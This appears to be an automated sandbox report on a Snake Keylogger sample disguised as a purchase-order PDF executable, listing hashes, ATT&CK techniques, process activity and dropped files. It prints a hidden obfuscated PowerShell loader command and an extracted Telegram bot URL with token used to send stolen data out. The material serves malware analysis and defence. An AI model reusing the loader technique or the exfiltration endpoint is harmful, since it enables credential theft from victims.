snakekeylogger | 74a179d75552a0768d8857d11e5e2c2481e416735291ac98332a504cdb60ba35

Analysis

max time kernel
94s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
07-11-2024 14:42

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General

Target

PO#7372732993039398372372973928392832973PDF.exe
Size

802KB
MD5

1894ec28b39f16b101d1e6c87b86e485
SHA1

b500406168d64fa7d732249c1110f3fc29c17837
SHA256

74a179d75552a0768d8857d11e5e2c2481e416735291ac98332a504cdb60ba35
SHA512

005389271912b29cc8f7ccab93123ae1a7d7ed2341e520f0d2e0d4054ac2119735eae40ed7891796b55d0e150ac6f06b232119975cded446ee50bad6d398042b
SSDEEP

24576:gMwhYSztYf+EDrseJDWIrxdJJ+Zx0PARxFWfcFqal/F4X5ZikM:gMwhNzKfNnsNiH3+Zq+WfQiX54

Score

10^/10

snakekeylogger discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

https://api.telegram.org/bot8040460346:AAFN58T9Y0-aqdzScEiebBO06S141L8RsSA/sendMessage?chat_id=6680692809

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 1 IoCs

resource	yara_rule
behavioral2/memory/3956-208-0x0000000001200000-0x0000000002454000-memory.dmp	family_snakekeylogger

Snakekeylogger family
snakekeylogger

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5028	powershell.exe

Blocklisted process makes network request 1 IoCs

flow	pid	Process
32	3956	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3956	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5028	powershell.exe
3956	msiexec.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\genfortolkende.ini	PO#7372732993039398372372973928392832973PDF.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\Kdebrker\Sttteforeningen.man	PO#7372732993039398372372973928392832973PDF.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3332	3956	WerFault.exe	97

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PO#7372732993039398372372973928392832973PDF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
5028	powershell.exe
5028	powershell.exe
5028	powershell.exe
5028	powershell.exe
5028	powershell.exe
5028	powershell.exe
5028	powershell.exe
5028	powershell.exe
5028	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
5028	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	5028	powershell.exe
Token: SeIncreaseQuotaPrivilege	5028	powershell.exe
Token: SeSecurityPrivilege	5028	powershell.exe
Token: SeTakeOwnershipPrivilege	5028	powershell.exe
Token: SeLoadDriverPrivilege	5028	powershell.exe
Token: SeSystemProfilePrivilege	5028	powershell.exe
Token: SeSystemtimePrivilege	5028	powershell.exe
Token: SeProfSingleProcessPrivilege	5028	powershell.exe
Token: SeIncBasePriorityPrivilege	5028	powershell.exe
Token: SeCreatePagefilePrivilege	5028	powershell.exe
Token: SeBackupPrivilege	5028	powershell.exe
Token: SeRestorePrivilege	5028	powershell.exe
Token: SeShutdownPrivilege	5028	powershell.exe
Token: SeDebugPrivilege	5028	powershell.exe
Token: SeSystemEnvironmentPrivilege	5028	powershell.exe
Token: SeRemoteShutdownPrivilege	5028	powershell.exe
Token: SeUndockPrivilege	5028	powershell.exe
Token: SeManageVolumePrivilege	5028	powershell.exe
Token: 33	5028	powershell.exe
Token: 34	5028	powershell.exe
Token: 35	5028	powershell.exe
Token: 36	5028	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4624 wrote to memory of 5028	4624	PO#7372732993039398372372973928392832973PDF.exe	86
PID 4624 wrote to memory of 5028	4624	PO#7372732993039398372372973928392832973PDF.exe	86
PID 4624 wrote to memory of 5028	4624	PO#7372732993039398372372973928392832973PDF.exe	86
PID 5028 wrote to memory of 3956	5028	powershell.exe	97
PID 5028 wrote to memory of 3956	5028	powershell.exe	97
PID 5028 wrote to memory of 3956	5028	powershell.exe	97
PID 5028 wrote to memory of 3956	5028	powershell.exe	97

C:\Users\Admin\AppData\Local\Temp\PO#7372732993039398372372973928392832973PDF.exe
"C:\Users\Admin\AppData\Local\Temp\PO#7372732993039398372372973928392832973PDF.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden "$Beefsteak=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\haandbog\Clinopinacoidal\Upchuck.Sli';$Confluent140=$Beefsteak.SubString(55503,3);.$Confluent140($Beefsteak)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\SysWOW64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:3956
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 3956 -s 1528
      4⤵
      Program crash
      PID:3332

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 3956 -ip 3956
1⤵
PID:2012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q4uupvkr.gad.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\haandbog\Clinopinacoidal\Upchuck.Sli

Filesize
54KB

MD5
282abf9b52e4ae72cead97089f079dad

SHA1
b3273b1372e49947e159b541ff829e7206e95650

SHA256
1f16b8c905f2d8f6fe3e3b6f08a8a18259d81cc7f918a7a61bb8f2954a704a20

SHA512
54ef11fc44dff9bf94d324b428c70b6e895b15300303b226c029cee86b8f1dc27bcdc8751c86d5250364c30384cafb85c145dee32337c6b992a55b72e2e5bf2b

Download Submit
C:\Users\Admin\AppData\Local\Temp\haandbog\Sgangens.Mid

Filesize
362KB

MD5
b1ae50611cbd77f46b600fe0139c4d28

SHA1
13e0a58d5dc71791f9d2860c86270dbcd6696b00

SHA256
7132e909c8ba231e8cae79f5e6240f8c3efdcd5ab91fb53bbca221de11fe5b83

SHA512
8e19fbbd80ed55fd31a1ff68d1324b92ad6fde8654eb1b43231e503e874207b06395ee379a97cf84e22df91faf3342d4ca743771ac4dd8cccec69e8de8189df7

Download Submit
C:\Users\Admin\AppData\Local\orts.lnk

Filesize
1KB

MD5
eb15417d1086d52f880fbba82aad7bb3

SHA1
89cf69b911f98f6444cb115e41c4ec334cca6492

SHA256
e7d37daba3c827b169a8c4825582da95aa4ed863a6b1d4e0536612bec118aea2

SHA512
98c2d74c36f04a3524be8ec3d82033310e60610ee56e4456d961b4a549e3101bc6b62df03e9da76464fe6d3b65e2bba7adb62b5c0b9f6c4b8fe333a854ac947f

Download Submit
memory/3956-208-0x0000000001200000-0x0000000002454000-memory.dmp

Filesize
18.3MB

Download
memory/5028-176-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/5028-188-0x0000000007170000-0x0000000007213000-memory.dmp

Filesize
652KB

Download
memory/5028-155-0x0000000005480000-0x00000000054E6000-memory.dmp

Filesize
408KB

Download
memory/5028-154-0x0000000005410000-0x0000000005476000-memory.dmp

Filesize
408KB

Download
memory/5028-152-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/5028-165-0x00000000056B0000-0x0000000005A04000-memory.dmp

Filesize
3.3MB

Download
memory/5028-166-0x0000000005CC0000-0x0000000005CDE000-memory.dmp

Filesize
120KB

Download
memory/5028-167-0x0000000005CF0000-0x0000000005D3C000-memory.dmp

Filesize
304KB

Download
memory/5028-168-0x0000000006230000-0x00000000062C6000-memory.dmp

Filesize
600KB

Download
memory/5028-169-0x00000000061E0000-0x00000000061FA000-memory.dmp

Filesize
104KB

Download
memory/5028-170-0x0000000006C90000-0x0000000006CB2000-memory.dmp

Filesize
136KB

Download
memory/5028-171-0x0000000007520000-0x0000000007AC4000-memory.dmp

Filesize
5.6MB

Download
memory/5028-151-0x0000000004DE0000-0x0000000005408000-memory.dmp

Filesize
6.2MB

Download
memory/5028-173-0x0000000008150000-0x00000000087CA000-memory.dmp

Filesize
6.5MB

Download
memory/5028-174-0x0000000007100000-0x0000000007132000-memory.dmp

Filesize
200KB

Download
memory/5028-150-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/5028-175-0x000000006FB60000-0x000000006FBAC000-memory.dmp

Filesize
304KB

Download
memory/5028-187-0x0000000007140000-0x000000000715E000-memory.dmp

Filesize
120KB

Download
memory/5028-177-0x00000000702A0000-0x00000000705F4000-memory.dmp

Filesize
3.3MB

Download
memory/5028-153-0x0000000004D00000-0x0000000004D22000-memory.dmp

Filesize
136KB

Download
memory/5028-189-0x0000000007270000-0x000000000727A000-memory.dmp

Filesize
40KB

Download
memory/5028-190-0x00000000073F0000-0x000000000741A000-memory.dmp

Filesize
168KB

Download
memory/5028-192-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/5028-191-0x0000000007420000-0x0000000007444000-memory.dmp

Filesize
144KB

Download
memory/5028-193-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/5028-194-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/5028-197-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/5028-196-0x00000000736DE000-0x00000000736DF000-memory.dmp

Filesize
4KB

Download
memory/5028-198-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/5028-149-0x00000000026F0000-0x0000000002726000-memory.dmp

Filesize
216KB

Download
memory/5028-200-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/5028-201-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/5028-202-0x00000000087D0000-0x000000000E387000-memory.dmp

Filesize
91.7MB

Download
memory/5028-203-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/5028-204-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/5028-205-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/5028-207-0x00000000736D0000-0x0000000073E80000-memory.dmp

Filesize
7.7MB

Download
memory/5028-148-0x00000000736DE000-0x00000000736DF000-memory.dmp

Filesize
4KB

Download